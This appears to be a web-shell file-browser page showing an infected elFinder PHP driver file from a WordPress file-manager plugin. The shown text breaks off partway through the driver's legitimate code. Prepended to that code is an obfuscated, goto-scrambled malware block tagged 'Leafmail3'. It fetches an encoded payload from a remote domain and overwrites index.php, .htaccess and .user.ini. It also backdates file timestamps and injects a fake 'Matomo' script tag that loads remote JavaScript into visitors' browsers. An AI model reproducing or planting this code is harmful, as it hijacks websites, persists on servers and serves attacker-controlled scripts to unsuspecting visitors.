/
home
/
ifprccom
/
www
/
configCKO
/
Jump
/
0-ifprccom
/
wp-content
/
plugins
/
file-manager
/
elFinder
/
php
/
Upload Filee
HOME
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <?php // Implement similar functionality in PHP 5.2 or 5.3 // http://php.net/manual/class.recursivecallbackfilteriterator.php#110974 if (!class_exists('RecursiveCallbackFilterIterator', false)) { class RecursiveCallbackFilterIterator extends RecursiveFilterIterator { private $callback; public function __construct(RecursiveIterator $iterator, $callback) { $this->callback = $callback; parent::__construct($iterator); } public function accept() { return call_user_func($this->callback, parent::current(), parent::key(), parent::getInnerIterator()); } public function getChildren() { return new self($this->getInnerIterator()->getChildren(), $this->callback); } } } /** * elFinder driver for local filesystem. * * @author Dmitry (dio) Levashov * @author Troex Nevelin **/ class elFinderVolumeLocalFileSystem extends elFinderVolumeDriver { /** * Driver id * Must be started from letter and contains [a-z0-9] * Used as part of volume id * * @var string **/ protected $driverId = 'l'; /** * Required to count total archive files size * * @var int **/ protected $archiveSize = 0; /** * Is checking stat owner * * @var boolean */ protected $statOwner = false; /** * Path to quarantine directory * * @var string */ private $quarantine; /** * Constructor * Extend options with required fields * * @author Dmitry (dio) Levashov */ public function __construct() { $this->options['alias'] = ''; // alias to replace root dir name $this->options['dirMode'] = 0755; // new dirs mode $this->options['fileMode'] = 0644; // new files mode $this->options['quarantine'] = '.quarantine'; // quarantine folder name - required to check archive (must be hidden) $this->options['rootCssClass'] = 'elfinder-navbar-root-local'; $this->options['followSymLinks'] = true; $this->options['detectDirIcon'] = ''; // file name that is detected as a folder icon e.g. '.diricon.png' $this->options['keepTimestamp'] = array('copy', 'move'); // keep timestamp at inner filesystem allowed 'copy', 'move' and 'upload' $this->options['substituteImg'] = true; // support substitute image with dim command $this->options['statCorrector'] = null; // callable to correct stat data `function(&$stat, $path, $statOwner, $volumeDriveInstance){}` } /*********************************************************************/ /* INIT AND CONFIGURE */ /*********************************************************************/ /** * Prepare driver before mount volume. * Return true if volume is ready. * * @return bool **/ protected function init() { // Normalize directory separator for windows if (DIRECTORY_SEPARATOR !== '/') { foreach (array('path', 'tmbPath', 'tmpPath', 'quarantine') as $key) { if (!empty($this->options[$key])) { $this->options[$key] = str_replace('/', DIRECTORY_SEPARATOR, $this->options[$key]); } } // PHP >= 7.1 Supports UTF-8 path on Windows if (version_compare(PHP_VERSION, '7.1', '>=')) { $this->options['encoding'] = ''; $this->options['locale'] = ''; } } if (!$cwd = getcwd()) { return $this->setError('elFinder LocalVolumeDriver requires a result of getcwd().'); } // detect systemRoot if (!isset($this->options['systemRoot'])) { if ($cwd[0] === DIRECTORY_SEPARATOR || $this->root[0] === DIRECTORY_SEPARATOR) { $this->systemRoot = DIRECTORY_SEPARATOR; } else if (preg_match('/^([a-zA-Z]:' . preg_quote(DIRECTORY_SEPARATOR, '/') . ')/', $this->root, $m)) { $this->systemRoot = $m[1]; } else if (preg_match('/^([a-zA-Z]:' . preg_quote(DIRECTORY_SEPARATOR, '/') . ')/', $cwd, $m)) { $this->systemRoot = $m[1]; } } $this->root = $this->getFullPath($this->root, $cwd); if (!empty($this->options['startPath'])) { $this->options['startPath'] = $this->getFullPath($this->options['startPath'], $this->root); } if (is_null($this->options['syncChkAsTs'])) { $this->options['syncChkAsTs'] = true; } if (is_null($this->options['syncCheckFunc'])) { $this->options['syncCheckFunc'] = array($this, 'localFileSystemInotify'); } // check 'statCorrector' if (empty($this->options['statCorrector']) || !is_callable($this->options['statCorrector'])) { $this->options['statCorrector'] = null; } return true; } /** * Configure after successfull mount. * * @return void * @throws elFinderAbortException * @author Dmitry (dio) Levashov */ protected function configure() { $hiddens = array(); $root = $this->stat($this->root); // check thumbnails path if (!empty($this->options['tmbPath'])) { if (strpos($this->options['tmbPath'], DIRECTORY_SEPARATOR) === false) { $hiddens['tmb'] = $this->options['tmbPath']; $this->options['tmbPath'] = $this->_abspath($this->options['tmbPath']); } else { $this->options['tmbPath'] = $this->_normpath($this->options['tmbPath']); } } // check temp path if (!empty($this->options['tmpPath'])) { if (strpos($this->options['tmpPath'], DIRECTORY_SEPARATOR) === false) { $hiddens['temp'] = $this->options['tmpPath']; $this->options['tmpPath'] = $this->_abspath($this->options['tmpPath']); } else { $this->options['tmpPath'] = $this->_normpath($this->options['tmpPath']); } } // check quarantine path if (!empty($this->options['quarantine'])) { if (strpos($this->options['quarantine'], DIRECTORY_SEPARATOR) === false) { $hiddens['quarantine'] = $this->options['quarantine']; $this->options['quarantine'] = $this->_abspath($this->options['quarantine']); } else { $this->options['quarantine'] = $this->_normpath($this->options['quarantine']); } } parent::configure(); // check tmbPath if (!$this->tmbPath && isset($hiddens['tmb'])) { unset($hiddens['tmb']); } // if no thumbnails url - try detect it if ($root['read'] && !$this->tmbURL && $this->URL) { if (strpos($this->tmbPath, $this->root) === 0) { $this->tmbURL = $this->URL . str_replace(DIRECTORY_SEPARATOR, '/', substr($this->tmbPath, strlen($this->root) + 1)); if (preg_match("|[^/?&=]$|", $this->tmbURL)) { $this->tmbURL .= '/'; } } } // set $this->tmp by options['tmpPath'] $this->tmp = ''; if (!empty($this->options['tmpPath'])) { if ((is_dir($this->options['tmpPath']) || mkdir($this->options['tmpPath'], $this->options['dirMode'], true)) && is_writable($this->options['tmpPath'])) { $this->tmp = $this->options['tmpPath']; } else { if (isset($hiddens['temp'])) { unset($hiddens['temp']); } } } if (!$this->tmp && ($tmp = elFinder::getStaticVar('commonTempPath'))) { $this->tmp = $tmp; } // check quarantine dir $this->quarantine = ''; if (!empty($this->options['quarantine'])) { if ((is_dir($this->options['quarantine']) || mkdir($this->options['quarantine'], $this->options['dirMode'], true)) && is_writable($this->options['quarantine'])) { $this->quarantine = $this->options['quarantine']; } else { if (isset($hiddens['quarantine'])) { unset($hiddens['quarantine']); } } } if (!$this->quarantine) { if (!$this->tmp) { $this->archivers['extract'] = array(); $this->disabled[] = 'extract'; } else { $this->quarantine = $this->tmp; } } if ($hiddens) { foreach ($hiddens as $hidden) { $this->attributes[] = array( 'pattern' => '~^' . preg_quote(DIRECTORY_SEPARATOR . $hidden, '~') . '$~', 'read' => false, 'write' => false, 'locked' => true, 'hidden' => true ); } } if (!empty($this->options['keepTimestamp'])) { $this->options['keepTimestamp'] = array_flip($this->options['keepTimestamp']); } $this->statOwner = (!empty($this->options['statOwner'])); } /** * Long 